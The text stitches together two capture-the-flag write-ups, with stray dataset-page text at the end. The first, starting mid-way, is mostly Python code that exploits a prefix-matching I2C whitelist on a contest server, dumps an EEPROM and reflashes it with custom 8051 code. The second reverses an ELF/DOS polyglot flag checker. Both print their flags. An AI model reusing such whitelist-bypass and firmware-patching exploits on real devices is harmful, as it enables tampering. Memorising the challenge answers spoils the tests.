This function checks the `port` I2C address against `ALLOWED_I2C` whitelist, butit has a flaw: it does not check that it reached the end of the `port` stringwhen reaching the end of an item in `ALLOWED_I2C`.
The following Python script exploits this vulnerability to find all I2C devices:
```Pythonimport socket
s = socket.socket(socket.AF_INET)s.connect(("weather.2022.ctfcompetition.com", 1337))
def wait_prompt(s): rx = s.recv(1000) while not rx.endswith(b"? "): rx += s.recv(1000) return rx
rx = wait_prompt(s)
# Use "101" thermometers prefixfor i2c_addr in range(101000, 101000+128): s.send(f"r {i2c_addr} 1\n".encode()) rx = wait_prompt(s)
if b"error - device not found" not in rx: print(i2c_addr%128, rx)```
We get:```33 b'i2c status: transaction completed / ready\n? '101 b'i2c status: transaction completed / ready\n? '108 b'i2c status: transaction completed / ready\n? '110 b'i2c status: transaction completed / ready\n? '111 b'i2c status: transaction completed / ready\n? '119 b'i2c status: transaction completed / ready\n? '```
**We discover a new I2C device at address `33` which might be our EEPROM.**We can read and write to this device using address `101025`.
### Dumping the EEPROM
Let's try to select page and read the maximal amount of data from the EEPROM:
```? w 101025 1 0i2c status: transaction completed / ready? r 101025 128i2c status: transaction completed / ready2 0 6 2 4 228 117 129 48 18 8 134 229 130 96 32 0 3 121 0 233 68 0 96 27 122 0 144 10 2 1201 117 160 2 228 147 242 163 8 184 0 2 5 160 217 244218 242 117 160 255 228 120 255 246 216 253 120 0 232 68 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-end```
As mentioned by the datasheet, the EEPROM returns one page of 64 bytes.Let's dump the whole EEPROM:
```Pythonimport socket
s = socket.socket(socket.AF_INET)s.connect(("weather.2022.ctfcompetition.com", 1337))
rx = wait_prompt(s)
dump = b""for page in range(64): s.send(f"w 101025 1 {page}\n".encode()) rx = wait_prompt(s)
if not b"transaction completed / ready" in rx: print(rx)
s.send(f"r 101025 64\n".encode()) rx = wait_prompt(s)
if not b"transaction completed / ready" in rx: print(rx)
rx = rx.split(b"\n") rx = b" ".join(rx[1:-2]).decode() rx = bytes(map(int, rx.split())) dump += rx print(f"Got page {page}")
with open("weather_eeprom.bin", "wb") as f: f.write(dump)```
We use [cpu_rec](https://github.com/airbus-seclab/cpu_rec) and confirm thatthe CPU is indeed running Intel 8051 instructions:```$ binwalk -% weather_eeprom.bin
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 8051 (size=0x800, entropy=0.787004)2048 0x800 None (size=0x800, entropy=0.269661)```
### Patching the EEPROM in Ghidra
We open the dump in Ghidra. After taking some inspiration from some functions,we are able to craft this assembly code:
```ASM MOV CCAP4L,#0 # 0 is the index of the flag MOV B,DAT_SFR_ef # read flag byteboucle: MOV A,TXDAT # is serial ready? JZ boucle MOV TXSTAT,B # print byte to serial```
During EEPROM programming, bits can only be cleared: it is impossible toreplace a `0` by a `1`.We choose to put this piece of assembly code at `0x0a02` offset as itis filled with `0xFF`. To run this code, we replace the data and codebefore with `0x00` which is a NOP instruction.
Let's implement this in Python:```Pythonimport socketimport time
for offset in range(256): s = socket.socket(socket.AF_INET) s.connect(("weather.2022.ctfcompetition.com", 1337))
def program_page(page, content): i2c_addr = 101025 # 33 (eeprom)
content = [0xFF - c for c in content] content = " ".join(map(str, content))
# 165 90 165 90 is the EEPROM key req_len = 127 s.send(f"w {i2c_addr} {req_len} {page} 165 90 165 90 {content}\n".encode())
# wait for prompt s.settimeout(1) time.sleep(1) # we cannot wait for characters as we are removing them try: rx = s.recv(1000) except socket.timeout: rx = None if rx and b"status: transaction completed" not in rx: print(rx[:1])
wait_prompt(s)
# New code content = [ 57, 0, 0x75, 0xee, offset, # MOV CCAP4L,#offset 0x85, 0xef, 0xf0, # MOV B,DAT_SFR_ef 0xe5, 0xf3, # MOV A,TXDAT 0x60, 0xfb, # JZ boucle 0x85, 0xf0, 0xf2, # MOV TXSTAT,B ] + [0] * 49 program_page(40, content)
# Erase previous pages until 32-th page for page in range(39, 32, -1): content = [0] * 64 program_page(page, content)
# Do not erase whole 32-th page to align to instruction start content = [0xFF, 0xFF] + [0] * 62 program_page(32, content)
s.close()```
We could have put the loop directly in assembly to do it much faster.After some time we get:```b'C'b'T'b'F'b'{[...]b'}b'\n'```
This is our flag, `CTF{DoesAnyoneEvenReadFlagsAnymore?}`. |
# Microsoft โค Linux**Reverse Engineering (rev) - 122pts**
Description:```Microsoft's latest addition to the world of Open Source: a flag checker...```
# Table of Contents1. [Discovery](#Discovery)2. [So there's this thing called DOSBox](#DOSbox)3. [This challenge is increasingly cursed](#Cursed)4. [Live analysis](#Analysis)5. [It's actually a babyrev, though](#babyrev)6. [So what the hell is going on?](#splain)8. [TL;DR](#tldr)
## Discovery
This challenge gave us an `.exe` file, let's try to run it:

Ah, *of course*, how foolish of me, we of course have to run it in a CLI:

"Unsupported 16-Bit Application"? Now I'm being screwed with. I figure that **I have two options:** I could either see where this 16 bit application could take me, or I could *be reasonable* and poke at it in linux to take a better look at it.
### **So there's this thing called DOSBox** So DOSBox is a quick and dirty emulator to get MS-DOS, a 16bit CLI operating system running on windows. I downloaded it, mounted a folder with the challenge and ran it:

So clearly, the program just takes in input, performs some check, then if it's the flag, tells me if its correct.
But how do I debug a 16 bit application in DOSbox? I did some searching around, but I really felt that any option was impractical, and going just a tad too far for what was presumably a babyrev challenge. I think at this point it's time to throw it into a disassembler.
## This challenge is increasingly cursed So I did, much without thinking, throw it into my choice of a disassembler+decompiler: cutter, which is based on radare2. Assuming that the automatic features would figure it out, it took a very long time for it to disassemble, which was odd for a **1KB binary**, and then trying to browse the assembly graph, it would often crash cutter, because it was building an infinite length graph of nops, for whatever reason. Forcing cutter into 16 bit helped, but wasn't much better. "Ok, sure, cutter is a bit experimental, let me try Ghidra!"

*wtf cutter*
So in Ghidra, disassembling 64/32 bit style outputted not... "useful" results, and trying to disassemble 16 bit caused Ghidra to run into a Null Pointer exception. Around the same time, my teammate messaged saying he has the challenge working on linux:
```m 3l.exe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, no section header```
So through some witchcraft, this binary is able to come off as a 32-bit ELF, but then is able to run on MS-DOS as a 16 bit application. We'll touch on this later, but for now, knowing that it works on linux, that's where I'll start.
## Live analysis Since it was working on linux, I threw it into gdb, there's no main function, but disassembling from the start showed me the general gist of what I needed.
The linux side uses the old way of doing system interrupts, `int 0x80`, to call read rather than a `syscall`, meaning that's consistent with 32-bit executables, at least.
Stepping through the code, we can see that it starts a counter, loops through 18 times (`0x12`) and applies an operation on our input string, compares it with a static string in the binary:
```as0x00100061 xor esi, esi ; i=00x00100063 cmp esi, 0x12 ; if(i==18)0x00100066 je 0x10007f ;jump to exit conds0x00100068 mov al, byte [esi + 0x100111] ; input chr0x0010006e rol al, 0xd ; roll chr by 13 places0x00100071 mov bl, byte [esi + 0x100210] ; flag chr0x00100077 cmp al, bl ; if(i_chr!=f_chr)0x00100079 jne 0x100088 ; jump to incorrect exit0x0010007b inc si ; ++i0x0010007d jmp 0x100063 ; continue loop```
The operation in question is `rol al,0xd`, which shifts the first 8 bits of the rax register left by the immediate times, but if a bit were to shift past the end of the number, it rolls back to the start (Think your leetcode string rotations).
So, because the string was static, I could copy the character hex codes, convert them to binary, roll them right (using an online string rotater, incredible) 13 places, then I get the first half of the flag:
`corctf{3mbr4c3,3xt`
***Finally!*** A rot13 cipher that actually *rotates* them 13 places.
So what about the other half? Well, more careful analysis shows that after it's done doing this to the first half of the string, it's always guaranteed to exit before reaching the 16-bit code. So I really have to figure this windows part out, don't I?
## It's actually a babyrev, though So the disas on gdb doesn't look nice past the linux exit, since it's 16 bit, so it doesn't line up with standard x86 conventions. But, since I knew the second half was going to be 16-bit I was able to get a 16-bit disassembly from cutter:
```as0000:00d4 xor si, si ; i = 00000:00d6 cmp si, 0x12 ; if (i == 18) 0000:00d9 je 0x1000ec ; jump to exit conds0000:00db mov al, byte [si + 0x213] ;input char0000:00df xor al, 0xd ; xor input by 130000:00e1 mov bl, byte [si + 0x322] ;flag char0000:00e5 cmp al, bl ; if (i_chr!=f_chr)0000:00e7 jne 0x1000f2 ; jump to incorrect exit0000:00e9 inc si ; ++i0000:00ea jmp 0x1000d6 ; continue loop```
So, the operation that's being applied to the second half of my input is a single byte xor. This can be easily reversed by just xor-ing again by `0xd`. ***Thank god*** for no DOS debugging!
Since I had the rest of the flag string saved, I applied the xor to each byte, which gave me the full and final flag:
`corctf{3mbr4c3,3xt3nd,3Xt1ngu15h!!1}`
## So what the hell is going on?
If I had to make a few educated guesses:
- There *is* an ELF magic in the binary, which makes Linux able to run it, which starts its instructions at the top of `entry()`, but the program is guaranteed to exit before it reaches any of the 16 bit sections.
- The COM file format, which is a simple binary format for MS-DOS, is completely static, and it's not supposed to move itself during execution. You can also tell it what instruction address to start at with the `[ORG 0xaddr]` header when writing code.
Meaning, this file runs on linux like a normal ELF, and then on MS-DOS, on start, jumps halfway through the existing x86 code, to the 16bit x86 and runs normally. Luckily, the operations applied on the string are simple enough to analyze and reverse through static analysis.
Thanks for my teammates who helped out with disassembly and figuring out what was going on.
## TL;DR
The given binary is a smorgasbord 32bit ELF followed by a 16-bit COM(?) executable. The "encrypted" string is stored statically in the binary. The first half it it, each byte is "rolled" 13 bits to the left, and the second half, each byte is xored by 13.
The output flag is then: `corctf{3mbr4c3,3xt3nd,3Xt1ngu15h!!1}` |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.